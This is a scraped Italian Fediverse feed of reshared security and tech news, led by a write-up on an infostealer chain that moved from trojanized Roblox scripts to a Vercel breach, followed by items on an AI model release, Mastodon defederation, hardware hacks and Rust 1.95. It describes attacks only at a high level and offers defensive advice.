Cybersecurity & cyberwarfare ha ricondiviso questo.

The media in this post is not displayed to visitors. To view it, please go to the original post.

The media in this post is not displayed to visitors. To view it, please go to the original post.

Dal Roblox script al breach di Vercel: come un infostealer ha quasi compromesso la supply chain di Next.js
#CyberSecurity
insicurezzadigitale.com/dal-ro…


Dal Roblox script al breach di Vercel: come un infostealer ha quasi compromesso la supply chain di Next.js


Un dipendente che scarica script per un gioco su un dispositivo personale. Un infostealer silenzioso che raccoglie credenziali aziendali. Un gruppo criminale che usa quell’accesso come testa di ponte per violare una delle piattaforme di deployment più utilizzate al mondo dagli sviluppatori. La storia del breach di Vercel del 19 aprile 2026 è un manuale perfetto sulle supply chain attack nell’era dell’AI-as-a-service.

L’epicentro: Context.ai e il dipendente con Roblox


Tutto inizia con un’infezione apparentemente irrilevante. A febbraio 2026, un dipendente di Context.ai — un servizio di AI analytics utilizzato da numerose aziende tech tra cui Vercel — scarica sul proprio dispositivo degli script per automatizzare il gioco Roblox. Gli script sono trojanizzati e distribuiscono Lumma Stealer, uno degli infostealer-as-a-service più prolifici del 2025-2026, venduto nei mercati underground per pochi dollari al mese con funzionalità di raccolta credenziali da browser, password manager, wallet di criptovalute e token di sessione.

L’impatto è immediato: Lumma esfiltra le credenziali salvate sul dispositivo, tra cui accessi amministrativi a Google Workspace, Supabase, Datadog, Authkit e — il jackpot — account Vercel con privilegi elevati. I ricercatori di Hudson Rock hanno documentato come questa singola infezione abbia fornito il punto d’accesso iniziale che ha reso possibile tutta la catena successiva.

Il pivot: da Context.ai a Vercel


La vulnerabilità reale non era tecnica ma architetturale: Context.ai aveva accesso all’ecosistema Vercel tramite un’applicazione OAuth di Google Workspace. Una volta compromesso l’account Google del dipendente, il threat actor ha potuto usare quel token OAuth per accedere all’account Vercel collegato — senza bisogno di conoscere la password Vercel, senza trigger di MFA (perché il token era già autenticato), senza lasciare tracce convenzionali di accesso non autorizzato.

Questo tipo di attacco — noto come OAuth token hijacking tramite compromissione di terze parti — è sempre più frequente nell’ecosistema SaaS moderno, dove le integrazioni tra servizi si moltiplicano e la superficie d’attacco cresce esponenzialmente. L’analisi di Hudson Rock evidenzia come la “60-second OAuth Client ID audit” — una revisione rapida delle applicazioni OAuth connesse agli account aziendali — avrebbe potuto identificare e revocare l’accesso compromesso prima che la situazione degenerasse.

ShinyHunters rivendica: $2 milioni per codice sorgente e token


Il 19 aprile 2026, un threat actor utilizzando il nome ShinyHunters pubblica su forum underground l’offerta di un pacchetto di dati esfiltrati da Vercel, con un prezzo richiesto di 2 milioni di dollari. Il pacchetto includerebbe codice sorgente proprietario, token NPM e GitHub con accesso ai repository, credenziali database, API key interne e un file con 580 record di dipendenti Vercel contenenti nomi, email aziendali e timestamp di attività.

È importante notare che il gruppo criminale ShinyHunters — responsabile di breaches storici tra cui Ticketmaster (2024), Snowflake (2024) e decine di altri — ha pubblicamente negato il coinvolgimento in questo specifico breach. Questo è un pattern ricorrente: l’uso del brand di gruppi noti da parte di attori minori o criminali opportunisti che acquistano dati rubati da infostealer operations per poi rivenderli attribuendoli a APT o gruppi di alto profilo.

Il rischio supply chain: Next.js e Turbopack


La preoccupazione più grave non era la fuga di credenziali dei dipendenti, ma il potenziale impatto sulla supply chain software. Vercel è il creatore e maintainer principale di Next.js — il framework React più scaricato al mondo con oltre 6 milioni di download settimanali su NPM — e di Turbopack, il successore di webpack. L’accesso a token NPM e repository GitHub avrebbe potuto consentire la modifica del codice sorgente di questi framework e la pubblicazione di versioni trojanizzate, con un impatto a cascata su milioni di applicazioni web globalmente.

Vercel ha risposto rapidamente: il CEO Guillermo Rauch ha confermato che l’analisi della supply chain condotta con Google Mandiant ha verificato che Next.js, Turbopack e tutti i progetti open source della piattaforma non sono stati modificati. I token compromessi sono stati revocati immediatamente e le credenziali esposte sono state rigenerate. Un numero limitato di clienti è stato contattato direttamente per la rotazione delle variabili d’ambiente.

Il vettore più sottovalutato: i dispositivi dei dipendenti di terze parti


Questo incident è un caso di studio emblematico per un problema strutturale della sicurezza moderna: le organizzazioni investono massicciamente nella protezione dei propri endpoint aziendali, ma la catena di accesso si estende inevitabilmente ai dispositivi dei dipendenti di vendor, partner e fornitori di servizi SaaS — dispositivi su cui non hanno visibilità né controllo. Un dipendente di Context.ai che scarica uno script Roblox su un dispositivo personale non usato per lavoro potrebbe comunque avere credenziali aziendali salvate nel browser, vanificando ogni investimento in EDR aziendale.

Il 2025-2026 ha visto Lumma Stealer protagonista di decine di breaches di alto profilo. La sua distribuzione via gaming scripts, crack software e SEO poisoning è particolarmente insidiosa perché colpisce utenti che non percepiscono il rischio — e i cui dispositivi spesso hanno accesso a ecosistemi aziendali critici proprio in virtù delle integrazioni OAuth che caratterizzano il SaaS moderno.

Indicatori e azioni raccomandate

# Vettore iniziale
Lumma Stealer distribuito tramite script Roblox "auto-farm" trojanizzati

# Credenziali compromesse sul dispositivo Context.ai
- Google Workspace (account dipendente)
- Supabase (database as a service)
- Datadog (monitoraggio/osservabilità)
- Authkit (authentication service)
- Vercel (piattaforma di deployment — accesso admin)

# Dati rivendicati da ShinyHunters
- Codice sorgente proprietario Vercel
- NPM authentication tokens
- GitHub tokens
- Credenziali database
- 580 record dipendenti (nome, email, timestamp attività)

# Prezzo richiesto: $2.000.000 USD (forum underground)

# Stato supply chain (confermato da Vercel + Mandiant)
Next.js: NON compromesso
Turbopack: NON compromesso
Open source projects Vercel: NON compromessi

# Azioni immediate raccomandate per chi usa Vercel
1. Ruotare TUTTE le variabili d'ambiente non marcate "sensitive"
2. Revocare e rigenerare NPM tokens e GitHub tokens connessi a Vercel
3. Revisione audit log per accessi anomali (aprile 2026)
4. Audit OAuth apps connesse agli account Google Workspace aziendali
5. Verificare integrazioni AI tools di terze parti e relativi permessi OAuth

Lezione per i CISO: la sicurezza si ferma all’ultimo anello debole


La catena Roblox script → Lumma Stealer → Context.ai employee → OAuth token → Vercel admin access → potenziale supply chain attack su milioni di app Next.js è una dimostrazione pratica di come la sicurezza di un’organizzazione dipenda dall’anello più debole dell’intera rete di trust. I CISO devono estendere i programmi di gestione del rischio ai vendor di servizi AI — una categoria in rapida espansione con accesso privilegiato agli ambienti produttivi — e implementare politiche di revisione periodica delle OAuth app connesse agli account aziendali. La “60-second OAuth audit” non è un’esagerazione: pochi minuti potrebbero aver evitato un breach da $2 milioni e un potenziale disastro di supply chain.


Cybersecurity & cyberwarfare ha ricondiviso questo.

Caso Nightmare-Eclipse: ci sono ancora due zero-day di Microsoft Defender in circolazione


@Informatica (Italy e non Italy)
Per due dei tre exploit (quello per ora “disinnescato” è stato ribattezzato BlueHammer) pubblicati su GitHub da un ricercatore di sicurezza non sono ancora disponibili patch. Sfruttandole, sarebbe possibile portare attacchi con un

reshared this

The media in this post is not displayed to visitors. To view it, please log in.

Dal Roblox script al breach di Vercel: come un infostealer ha quasi compromesso la supply chain di Next.js


@Informatica (Italy e non Italy)
Un dipendente di Context.ai infettato da Lumma Stealer tramite script Roblox ha aperto la porta a una potenziale supply chain attack su Vercel e Next.js. ShinyHunters rivendica il furto di codice


Dal Roblox script al breach di Vercel: come un infostealer ha quasi compromesso la supply chain di Next.js


Un dipendente che scarica script per un gioco su un dispositivo personale. Un infostealer silenzioso che raccoglie credenziali aziendali. Un gruppo criminale che usa quell’accesso come testa di ponte per violare una delle piattaforme di deployment più utilizzate al mondo dagli sviluppatori. La storia del breach di Vercel del 19 aprile 2026 è un manuale perfetto sulle supply chain attack nell’era dell’AI-as-a-service.

L’epicentro: Context.ai e il dipendente con Roblox


Tutto inizia con un’infezione apparentemente irrilevante. A febbraio 2026, un dipendente di Context.ai — un servizio di AI analytics utilizzato da numerose aziende tech tra cui Vercel — scarica sul proprio dispositivo degli script per automatizzare il gioco Roblox. Gli script sono trojanizzati e distribuiscono Lumma Stealer, uno degli infostealer-as-a-service più prolifici del 2025-2026, venduto nei mercati underground per pochi dollari al mese con funzionalità di raccolta credenziali da browser, password manager, wallet di criptovalute e token di sessione.

L’impatto è immediato: Lumma esfiltra le credenziali salvate sul dispositivo, tra cui accessi amministrativi a Google Workspace, Supabase, Datadog, Authkit e — il jackpot — account Vercel con privilegi elevati. I ricercatori di Hudson Rock hanno documentato come questa singola infezione abbia fornito il punto d’accesso iniziale che ha reso possibile tutta la catena successiva.

Il pivot: da Context.ai a Vercel


La vulnerabilità reale non era tecnica ma architetturale: Context.ai aveva accesso all’ecosistema Vercel tramite un’applicazione OAuth di Google Workspace. Una volta compromesso l’account Google del dipendente, il threat actor ha potuto usare quel token OAuth per accedere all’account Vercel collegato — senza bisogno di conoscere la password Vercel, senza trigger di MFA (perché il token era già autenticato), senza lasciare tracce convenzionali di accesso non autorizzato.

Questo tipo di attacco — noto come OAuth token hijacking tramite compromissione di terze parti — è sempre più frequente nell’ecosistema SaaS moderno, dove le integrazioni tra servizi si moltiplicano e la superficie d’attacco cresce esponenzialmente. L’analisi di Hudson Rock evidenzia come la “60-second OAuth Client ID audit” — una revisione rapida delle applicazioni OAuth connesse agli account aziendali — avrebbe potuto identificare e revocare l’accesso compromesso prima che la situazione degenerasse.

ShinyHunters rivendica: $2 milioni per codice sorgente e token


Il 19 aprile 2026, un threat actor utilizzando il nome ShinyHunters pubblica su forum underground l’offerta di un pacchetto di dati esfiltrati da Vercel, con un prezzo richiesto di 2 milioni di dollari. Il pacchetto includerebbe codice sorgente proprietario, token NPM e GitHub con accesso ai repository, credenziali database, API key interne e un file con 580 record di dipendenti Vercel contenenti nomi, email aziendali e timestamp di attività.

È importante notare che il gruppo criminale ShinyHunters — responsabile di breaches storici tra cui Ticketmaster (2024), Snowflake (2024) e decine di altri — ha pubblicamente negato il coinvolgimento in questo specifico breach. Questo è un pattern ricorrente: l’uso del brand di gruppi noti da parte di attori minori o criminali opportunisti che acquistano dati rubati da infostealer operations per poi rivenderli attribuendoli a APT o gruppi di alto profilo.

Il rischio supply chain: Next.js e Turbopack


La preoccupazione più grave non era la fuga di credenziali dei dipendenti, ma il potenziale impatto sulla supply chain software. Vercel è il creatore e maintainer principale di Next.js — il framework React più scaricato al mondo con oltre 6 milioni di download settimanali su NPM — e di Turbopack, il successore di webpack. L’accesso a token NPM e repository GitHub avrebbe potuto consentire la modifica del codice sorgente di questi framework e la pubblicazione di versioni trojanizzate, con un impatto a cascata su milioni di applicazioni web globalmente.

Vercel ha risposto rapidamente: il CEO Guillermo Rauch ha confermato che l’analisi della supply chain condotta con Google Mandiant ha verificato che Next.js, Turbopack e tutti i progetti open source della piattaforma non sono stati modificati. I token compromessi sono stati revocati immediatamente e le credenziali esposte sono state rigenerate. Un numero limitato di clienti è stato contattato direttamente per la rotazione delle variabili d’ambiente.

Il vettore più sottovalutato: i dispositivi dei dipendenti di terze parti


Questo incident è un caso di studio emblematico per un problema strutturale della sicurezza moderna: le organizzazioni investono massicciamente nella protezione dei propri endpoint aziendali, ma la catena di accesso si estende inevitabilmente ai dispositivi dei dipendenti di vendor, partner e fornitori di servizi SaaS — dispositivi su cui non hanno visibilità né controllo. Un dipendente di Context.ai che scarica uno script Roblox su un dispositivo personale non usato per lavoro potrebbe comunque avere credenziali aziendali salvate nel browser, vanificando ogni investimento in EDR aziendale.

Il 2025-2026 ha visto Lumma Stealer protagonista di decine di breaches di alto profilo. La sua distribuzione via gaming scripts, crack software e SEO poisoning è particolarmente insidiosa perché colpisce utenti che non percepiscono il rischio — e i cui dispositivi spesso hanno accesso a ecosistemi aziendali critici proprio in virtù delle integrazioni OAuth che caratterizzano il SaaS moderno.

Indicatori e azioni raccomandate

# Vettore iniziale
Lumma Stealer distribuito tramite script Roblox "auto-farm" trojanizzati

# Credenziali compromesse sul dispositivo Context.ai
- Google Workspace (account dipendente)
- Supabase (database as a service)
- Datadog (monitoraggio/osservabilità)
- Authkit (authentication service)
- Vercel (piattaforma di deployment — accesso admin)

# Dati rivendicati da ShinyHunters
- Codice sorgente proprietario Vercel
- NPM authentication tokens
- GitHub tokens
- Credenziali database
- 580 record dipendenti (nome, email, timestamp attività)

# Prezzo richiesto: $2.000.000 USD (forum underground)

# Stato supply chain (confermato da Vercel + Mandiant)
Next.js: NON compromesso
Turbopack: NON compromesso
Open source projects Vercel: NON compromessi

# Azioni immediate raccomandate per chi usa Vercel
1. Ruotare TUTTE le variabili d'ambiente non marcate "sensitive"
2. Revocare e rigenerare NPM tokens e GitHub tokens connessi a Vercel
3. Revisione audit log per accessi anomali (aprile 2026)
4. Audit OAuth apps connesse agli account Google Workspace aziendali
5. Verificare integrazioni AI tools di terze parti e relativi permessi OAuth

Lezione per i CISO: la sicurezza si ferma all’ultimo anello debole


La catena Roblox script → Lumma Stealer → Context.ai employee → OAuth token → Vercel admin access → potenziale supply chain attack su milioni di app Next.js è una dimostrazione pratica di come la sicurezza di un’organizzazione dipenda dall’anello più debole dell’intera rete di trust. I CISO devono estendere i programmi di gestione del rischio ai vendor di servizi AI — una categoria in rapida espansione con accesso privilegiato agli ambienti produttivi — e implementare politiche di revisione periodica delle OAuth app connesse agli account aziendali. La “60-second OAuth audit” non è un’esagerazione: pochi minuti potrebbero aver evitato un breach da $2 milioni e un potenziale disastro di supply chain.


Cybersecurity & cyberwarfare ha ricondiviso questo.

Un HappyMeal costa circa 6 euro.
La sicurezza di una nave da guerra ne costa 5.

(staccah staccah! Ci stanno tracciandohhh)

blog.baited.io/2026/bluetooth-…

reshared this

Cybersecurity & cyberwarfare ha ricondiviso questo.

Anthropic lancia Claude Opus 4.7: più bravo nel coding, primo banco di prova contro gli abusi informatici


Claude Opus 4.7 è disponibile su tutti i prodotti Anthropic e via API. Migliora nel coding, nella visione ad alta risoluzione e nel lavoro agente, ma arriva anche con nuove misure contro l'uso offensivo in ambito cybersecurity, un test in vista del futuro rilascio di Mythos.
The media in this post is not displayed to visitors. To view it, please go to the original post.

Anthropic ha rilasciato Claude Opus 4.7 il 16 aprile, disponibile su tutti i prodotti Claude, tramite API e attraverso Amazon Bedrock, Google Cloud Vertex AI e Microsoft Foundry. Il prezzo rimane quello di Opus 4.6: 5 dollari per milione di token in ingresso, 25 in uscita.

Cosa cambia rispetto a 4.6


Il miglioramento più tangibile riguarda il coding: secondo Anthropic, Opus 4.7 gestisce compiti complessi e di lunga durata con maggiore autonomia, segue le istruzioni in modo più preciso e verifica i propri risultati prima di restituire una risposta. Il contesto non è neutro: nelle settimane precedenti al rilascio, diversi utenti avevano segnalato un calo di qualità percepita in Opus 4.6, con un dirigente senior di AMD che aveva pubblicato su GitHub un post ampiamente condiviso sostenendo che il modello non fosse più affidabile per compiti ingegneristici complessi. Anthropic ha negato interventi deliberati sul modello.

Il nodo sicurezza e Mythos


Questo rilascio ha una particolarità che va oltre i consueti aggiornamenti di prestazioni. Lo scorso mese Anthropic aveva annunciato il “Project Glasswing” e reso disponibile in forma limitata Claude Mythos Preview, il suo modello più avanzato, condiviso solo con un gruppo ristretto di aziende tecnologiche e di sicurezza informatica proprio per i rischi legati alle sue capacità offensive.

Opus 4.7 è il primo modello su cui Anthropic sperimenta le contromisure pensate in vista di un eventuale rilascio pubblico di Mythos: le sue capacità informatiche sono state intenzionalmente contenute durante l’addestramento, e il modello dispone ora di filtri automatici per rilevare e bloccare richieste ad alto rischio in ambito cybersecurity. Chi lavora legittimamente nella sicurezza, come i penetration tester, può iscriversi al nuovo Cyber Verification Program per accedere a funzionalità altrimenti bloccate.

In sostanza, Anthropic usa il rilascio di Opus 4.7 anche come laboratorio a cielo aperto per testare meccanismi che, se funzionano, potrebbero aprire la strada a Mythos.

Cose da sapere prima di migrare


Da notare: Opus 4.7 adotta un nuovo sistema di tokenizzazione. Gli stessi testi in ingresso possono occupare tra il 10% e il 35% di token in più rispetto a prima. Chi usa il modello in produzione dovrebbe misurare l’impatto reale sul proprio traffico prima di passare definitivamente.

Tra le novità per gli sviluppatori, Anthropic introduce i “task budget” in beta pubblica sull’API, uno strumento per guidare la spesa di token su sessioni lunghe. Su Claude Code arriva il comando /ultrareview per sessioni di revisione del codice dedicate, e la modalità automatica si estende agli utenti del piano Max. Viene aggiunto anche un nuovo livello di elaborazione xhigh, più preciso dell’attuale high ma meno intensivo del max, pensato per i casi in cui serve un buon equilibrio tra qualità e latenza.

Il modello è accessibile via API con la stringa claude-opus-4-7.

SOURCE:// anthropic.com
SOURCE:// cnbc.com
SOURCE:// platform.claude.com

Cybersecurity & cyberwarfare ha ricondiviso questo.

#Scattered #Spider member Tyler Buchanan pleads guilty to major crypto theft
securityaffairs.com/191052/cyb…
#securityaffairs #hacking

2026 Green Power Challenge: NFC Powers Command Write and Wake of MCU


The media in this post is not displayed to visitors. To view it, please log in.

One of the more interesting categories of our ongoing Green Power Challenge is “anything but PV” — and since the radiated power of Near Field Communication is decidedly not photovoltaic, this hack by [caspar] to control a Pi Pico W from his phone using a tuned antenna absolutely counts.

Now, of course you’re not going to power the whole microcontroller that way, but [caspar] figures you don’t need to: the MCU is hooked to a battery, but through a transistor. That means it’s not asleep, but fully un-powered: only the leakage current of the transistor is draining that battery, so it can last a very long time. The waking is handled with a tuned NFC antenna hooked to a ST25DV04KC NFC chip. This chip is designed to be powered via NFC, and of course to accept commands. The ST25 then wakes the Pico — one GIPO on the MCU is used to latch that power transistor ON — and passes on the command via I2C.

Our favorite part might be the script he put on the Pico to live-tune the antenna coil, which you can see demoed in a video below, along with simplest possible demonstration of starting blinky on the Pico from the phone.

You aren’t limited to just a Pico and a blinky LED as in his proof-of-concept demo: [caspar] also uses the same technique with an e-ink display, which is pretty similar to the e-ink price tags you’ve likely seen at the grocery store, without the joy of reverse engineering.

Also without batteries, which is pretty neat, and arguably pretty green. If you’ve been hacking away at something that uses alternative energy, this challenge is still open — just get your project onto Hackaday.io and submitted by April 27.

2026 Hackaday Greep Powered Challenge

youtube.com/embed/ZEy1hG92phQ?…

youtube.com/embed/kTXMcYfZOSU?…


hackaday.com/2026/04/20/2026-g…

Cybersecurity & cyberwarfare ha ricondiviso questo.

Comunicazione di servizio: poliversity sta per bloccare l'istanza mastodon.cloud


Entro qualche giorno provvederemo a bloccare l'istanza mastodon.cloud così come hanno già fatto e stanno già facendo altre istanze del Fediverso. Poliversity ha già provveduto a "silenziare" mastodon.cloud dal 14 aprile, ma finora non avevamo ancora praticato il blocco, perché noi moderatori volevamo capire se il drammatico peggioramento della moderazione di quel server fosse dovuto a un problema temporaneo.

Come indicato da @iftas i moderatori di mastodon.cloud non sembrano essere più interessati ad applicare politiche di moderazione per arginare trolling, disinformazione, pornografia e suprematismo:
mastodon.iftas.org/@iftas/1164…

Purtroppo molti utenti di quella istanza non si rendono conto di quello che succede nella timeline locale anche a causa dell'ergonomia dell'app "ufficiale" di Mastodon che ormai rende estremamente raro per un utente affacciarsi nella timeline della propria istanza.

I nostri utenti che hanno ancora collegamenti con gli utenti di quella istanza potranno decidere se contattare quegli utenti per invitarli a spostarsi altrove o se migrare via da poliversity.

A questo proposito, approfittiamo per avvisare alcuni degli utenti di mastodon.cloud tra i più seguiti dagli utenti di poliversity.it, invitandoli a trasferirsi presso altre istanze: @marcantonio @OpenForumEurope @illogical_me @gianmix @ilgigante77


#mastodadmin #fediadmin

Services considering defederating mastodon.cloud

Be aware that account holders are attempting to move their account, and this can take considerable time to complete, several days, especially for members with large follower counts.

Others may still be on 30-day cooldown after having moved there recently.

Please consider Limiting the service while members attempting to move complete that action.

Suspending a service severs all relationships and is unrecoverable.


Cybersecurity & cyberwarfare ha ricondiviso questo.

Comunicazione di servizio: Poliverso.org sta per bloccare l'istanza mastodon.cloud

@Che succede nel Fediverso?

Entro qualche giorno provvederemo a bloccare l'istanza mastodon.cloud così come hanno già fatto e stanno già facendo altre istanze del Fediverso. Poliverso ha già provveduto a "silenziare" mastodon.cloud dal 14 aprile, ma finora non avevamo ancora praticato il blocco, perché noi moderatori volevamo capire se il drammatico peggioramento della moderazione di quel server fosse dovuto a un problema temporaneo.

Come indicato da @IFTAS i moderatori di mastodon.cloud non sembrano essere più interessati ad applicare politiche di moderazione per arginare trolling, disinformazione, pornografia e suprematismo:
mastodon.iftas.org/@iftas/1164…

Purtroppo molti utenti di quella istanza non si rendono conto di quello che succede nella timeline locale anche a causa dell'ergonomia dell'app "ufficiale" di Mastodon che ormai rende estremamente raro per un utente affacciarsi nella timeline della propria istanza.

I nostri utenti che hanno ancora collegamenti con gli utenti di quella istanza potranno decidere se contattare quegli utenti per invitarli a spostarsi altrove o se migrare via da Poliverso.org.

A questo proposito, approfittiamo per avvisare alcuni degli utenti di mastodon.cloud tra i più seguiti dagli utenti di Poliverso.org, invitandoli a trasferirsi presso altre istanze: @marcantonio @OpenForum Europe @Enrico @Giandomenico Macaluso @Il Gigante

Cybersecurity & cyberwarfare ha ricondiviso questo.

NEW: North Korean government hackers are allegedly behind the theft of more than $290 million in crypto.

This is now the largest crypto heist of the year, after another recent one of $285 million.

techcrunch.com/2026/04/20/nort…

Disinformazione e Deepfake: la democrazia in pericolo


The media in this post is not displayed to visitors. To view it, please log in.

Giovedì 23 aprile ore 9-13, aula Mauro Wolf, primo piano via Salaria 113, Roma

Nelle situazioni di tensione geopolitica la disinformazione aumenta. Se nel passato si era soliti dire che la prima vittima delle guerre è la verità, oggi questo appare vero anche in tempo di pace e nel corso dei conflitti ibridi, sotto la soglia del conflitto aperto. Accade anche che gli attacchi cinetici siano accompagnati dagli attacchi cibernetici ed entrambi vengano legittimati dalla disinformazione. Propaganda e disinformazione viaggiano velocemente nei social. Secondo AI Forensics il 25% dei contenuti prodotti da TikTok sono artificiali. Le notizie dopate con contenuti fotorealistici di origine sintetica sono così la nuova sfida per chi deve analizzare le fonti e riportare i fatti all’opinione pubblica. Per confezionare le notizie, narrare gli avvenimenti e i loro protagonisti, inoltre, i giornalisti, si trovano a gareggiare con youtuber, influencer e opinionisti social.
La verità sostanziale dei fatti diventa sempre più difficile da raccontare.

Alberto Marinelli, Sapienza, Prorettore alle tecnologie innovative per la comunicazione

Laura Camilloni, giornalista, AgenParl
«Information disorder e fake news»

Riccardo Cavaliere, giornalista Rainews24
«Le sei dita di Netanyahu. Deepfake, propaganda, controllo dell’informazione in guerra»

Arturo Di Corinto, giornalista, consigliere ACN
«Disinformazione e propaganda dagli antichi greci a ChatGPT»

Stefano Ferrante, giornalista, segretario Stampa Romana
«Contrastare la disinformazione nella pratica giornalistica quotidiana»

Marco Ramilli, Ceo IdentifAI
«Threat Landscape: The Deepfake Ecosystem»

Christian Ruggiero, professore di Giornalismo RadioTv, CoRiS Sapienza
«La disinformazione nella dieta mediale: troll, deepfake e false notizie»

Luciano Tirinnanzi, editore, giornalista Panorama
«L’editoria di guerra e la costruzione della verità»


dicorinto.it/formazione/disinf…

Cybersecurity & cyberwarfare ha ricondiviso questo.

There are no technical or compliance reasons to double the size of symmetric keys in response to the threat of quantum computers.

This common misunderstanding of Grover's algorithm risks wasting limited resources that should go towards deploying actually urgent post-quantum algorithms.

words.filippo.io/128-bits/?sou…

in reply to Filippo Valsorda

Unfortunately CNSA 2.0 also asks for SHA-512 over SHA-256, and that's in fact a major hassle and is wasting time, because we're looking at making the container ecosystem add support for that. Your point of the birthday problem and their target of 256bit security at least explains that (in a way that NSA's own documentation doesn't), but it's still a pity we're wasting time on this.

DIY Weather Stations Report In From Chernobyl


The media in this post is not displayed to visitors. To view it, please log in.

You’re probably not going to hang out around Chernobyl any time soon. Still, knowing the conditions there can both satisfy your curiosity and provide scientific value. To that end, [Yury Ilyin] has spent the last couple decades installing homebrew weather stations across the Exclusion Zone for his own interest.

The remote weather stations that [Yury] builds all follow a similar design. Each runs on three 18650 lithium cells, charged via a small solar panel. Most of these cells were salvaged from old laptop battery packs. These cells are used to power a GPRS or WiFi communications module, along with a temperature, humidity, and pressure sensor, and a Geiger counter, because, well… it’s Chernobyl.

He has been lucky enough to keep costs down by finding an old generation GPRS SIM card that could be cloned and used across multiple devices, and thus far has had no trouble receiving signals from his many distributed stations. He’s been able to use his sensor network to track the gradual decline of radioactive emissions in the area from Cs-137, as well as keep an eye on the local weather conditions in an area few ever tread.

[Yury] has built over two dozen of these devices, and several have passed the test of time—with the lithium cells and cellular hardware surviving both high and freezing temperatures as well as the ravages of rain and time. He’s continued to refine the design over the years, starting out with an ATmega644 running the show, and later upgrading to STM32 microcontrollers.

We’ve explored distributed radiation sensor networks before, too, as well as many a remote weather station.

Thanks to [Luc Van Braekel] and [Paulo Ramos] for the tip!


hackaday.com/2026/04/20/diy-we…

Flash Joule Heating Recovers The Good Stuff


The media in this post is not displayed to visitors. To view it, please log in.

Rare earth materials are a hot button topic these days. They’re important for everything from electric vehicles to defence hardware, they’re valuable, and everyone wishes they had some to dig up in their backyard. Lithium, too, is a commodity nobody can get enough of, with the demand for high-performance batteries grows each year.

When a material is desirable, and strategically important, we often start thinking of ways to conserve or recycle it because we just can’t get enough. In that vein, researchers have been developing a new technique to recover rare earth metals and lithium from waste streams so that it can be put back to good use.

Get It Back


Enter the technique of flash joule heating. The method is relatively straightforward, in concept at least. It involves a high energy discharge from a capacitor bank, which is passed through a sample of material to be recycled or refined. The idea is that the rapid energy discharge will vaporize some components of the sample, while leaving others intact, allowing the desired material to be separated out and collected in a straightforward and economically-viable manner. It does this in a manner rather contrary to traditional techniques, which often involve large amounts of water, acids, or alkalis, which can be expensive and messy to dispose of or reprocess to boot.
A flash joule heating apparatus used to recover rare earth materials. Credit: Jeff Fitlow, Rice University
Researchers from Rice have developed this technique to recycle rare earth metals from waste magnets. Imagine all the magnets that get thrown away when things like hard drives and EV motors get trashed, and you can imagine there’s a wealth of rare earth material there just waiting to be recovered.

In this case, the high-energy discharge is applied to waste magnet material in an effort to vaporize the non-rare earth components that are present. The discharge is performed in the presence of chlorine gas, which would chlorinate materials like iron and cobalt in the sample, removing the volatile elements and leaving the rare earth elements behind in solid form. Laboratory experiments were able to refine the material to 90% purity in a single step.
In the rare earth case, the undesired material is vaporized and removed by the chlorine gas while the rare earths remain behind in the solid phase. For capturing lithium from spodumene ore, it’s the opposite. Credit: research paper
As per the research paper, lifecycle analysis suggested the technique could reduce energy use by 87% compared to contemporary hydrometallurgy recycling techniques, while also reducing greenhouse gas emissions in turn and slashing operating costs by 54%.

The technique can also be applied to separate lithium from spodumene ore. It’s an abundant material, particularly in the United States, and improved ways to process it could increase its value as a source of lithium. When it comes to processing spodumene with flash joule heating, the discharge of electric current makes the lithium in spodumene available to react with chlorine gas. The rapid heating causes the vaporized lithium to form lithium chloride which can be bled off, while other components of spodumene like aluminium and silicon compounds remain behind. It’s basically the opposite of the rare earth recovery method.

As outlined in the research paper, this method achieved recovery of lithium chloride with 97% purity and a recovery rate of 94% in a single step. It’s also a lot simpler than traditional extraction methods that involve long periods of evaporating brine or using acid leeching techniques. Indeed, the laboratory rig was built using an arc welder to achieve the powerful discharge. Other researchers are examining the technique too and achieving similar results, hoping that it can be a cleaner and more efficient method of recovery compared to traditional hydrometallurgy and pyrometallurgy techniques.
The lithium recovery process using flash joule heating. Credit: research paper
These methods remain at the research stage for the time being. Pilot plants, let alone commercial operations, are still a future consideration. Regardless, the early work suggests there is economic gain to be had by developing recycling plants that operate in this manner. Assuming the technique works at scale, if it makes financial sense and recovers useful material, expect it to become a viable part of the recycling industry before long.


hackaday.com/2026/04/20/flash-…

Cybersecurity & cyberwarfare ha ricondiviso questo.

CVE-2023-33538 under attack for a year, but exploitation still unsuccessful
securityaffairs.com/191040/hac…
#securityaffairs #hacking
Cybersecurity & cyberwarfare ha ricondiviso questo.

The media in this post is not displayed to visitors. To view it, please go to the original post.

Allarme Microsoft: la patch di aprile possono bloccare l’autenticazione aziendale

📌 Link all'articolo : redhotcyber.com/post/allarme-m…

A cura di Carolina Vivianti

#redhotcyber #news #microsoft #windows #lsass #pam #cybersecurity #errore #riavvioinfinito

Cybersecurity & cyberwarfare ha ricondiviso questo.

The media in this post is not displayed to visitors. To view it, please go to the original post.

Rust 1.95.0: cfg_select!, if-let guard nei match e nuove API per Vec e atomici
#tech
spcnet.it/rust-1-95-0-cfg_sele…
@informatica


Rust 1.95.0: cfg_select!, if-let guard nei match e nuove API per Vec e atomici


Il 16 aprile 2026 è uscita Rust 1.95.0, una release che porta novità significative al linguaggio e alla sua libreria standard. Questa versione si segnala in particolare per l’introduzione della macro cfg_select!, il supporto agli if-let guard nei blocchi match, e una serie di nuove API per la gestione della memoria e degli atomici.

Vediamo nel dettaglio cosa cambia e come queste novità influenzano il codice quotidiano dei Rustaceans.

cfg_select!: condizionali di compilazione senza dipendenze esterne


La macro cfg_select! introduce un modo più espressivo per scrivere codice condizionale basato sulla configurazione di compilazione. Si comporta come un match valutato a compile-time sulle condizioni cfg, rimpiazzando di fatto il crate esterno cfg-if che molti progetti Rust usano da anni.

Prima di Rust 1.95, per scrivere codice dipendente dalla piattaforma si usava tipicamente:

// Prima: con cfg-if (dipendenza esterna nel Cargo.toml)
cfg_if::cfg_if! {
    if #[cfg(target_os = "linux")] {
        fn get_system_info() -> String {
            linux_system_info()
        }
    } else if #[cfg(target_os = "macos")] {
        fn get_system_info() -> String {
            macos_system_info()
        }
    } else {
        fn get_system_info() -> String {
            String::from("unknown")
        }
    }
}

Con cfg_select!, la stessa logica si esprime ora senza aggiungere dipendenze al progetto:
// Ora: built-in nella libreria standard
fn get_system_info() -> String {
    cfg_select! {
        target_os = "linux" => { linux_system_info() }
        target_os = "macos" => { macos_system_info() }
        _ => { String::from("unknown") }
    }
}

La sintassi è più pulita e il fatto di essere nella libreria standard elimina la necessità di dichiarare cfg-if nel Cargo.toml. Particolarmente utile per chi sviluppa librerie cross-platform o crate che devono supportare più sistemi operativi e architetture CPU.

if-let guard nei match: pattern matching più espressivo


